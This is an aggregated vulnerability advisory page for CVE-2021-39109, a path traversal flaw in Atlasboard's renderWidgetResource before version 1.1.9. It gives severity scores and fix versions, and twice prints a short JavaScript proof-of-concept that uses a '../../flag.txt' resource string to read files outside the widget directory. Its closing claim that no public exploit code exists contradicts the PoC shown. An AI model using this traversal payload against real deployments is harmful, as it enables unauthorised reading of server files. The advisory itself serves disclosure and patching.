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CVE-2021-39109

Path traversal in atlasboard

7.5 HighFix available

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

1.67%Up 1.1 points since Sep 1, 2021
90%50%10%1%

What each source reports

NVD Score used7.5

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

Record
CVE-2021-39109
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:P/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
CVE List7.5

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

Record
CVE-2021-39109
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2021-19467.5

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

Record
EUVD-2021-1946
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-25pr-6pr6-68v77.5

Path traversal in atlasboard

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

PoC

const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res
const req = {};
const res = {
  sendFile: (filePath) => {
    // Read and return file contents synchronously
    const data = fs.readFileSync(filePath, \"utf8\");
    console.log(\"Contents of /flag.txt:\");
    console.log(data);
  },
  status: function (code) {
    this.statusCode = code;
    return this;
  },
  send: function (msg) {
    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
  },
};

// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";

// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
Record
GHSA-25pr-6pr6-68v7
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-25pr-6pr6-68v77.5

Path traversal in atlasboard

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

PoC

const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res
const req = {};
const res = {
  sendFile: (filePath) => {
    // Read and return file contents synchronously
    const data = fs.readFileSync(filePath, \"utf8\");
    console.log(\"Contents of /flag.txt:\");
    console.log(data);
  },
  status: function (code) {
    this.statusCode = code;
    return this;
  },
  send: function (msg) {
    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
  },
};

// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";

// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
Record
GHSA-25pr-6pr6-68v7
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
atlasboard
npm
before 1.1.9
1.1.9

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-39109 is a high vulnerability (CVSS 7.5) in Atlassian Atlasboard, published September 1, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.67%, the 77th percentile. Fixed in atlasboard 1.1.9.

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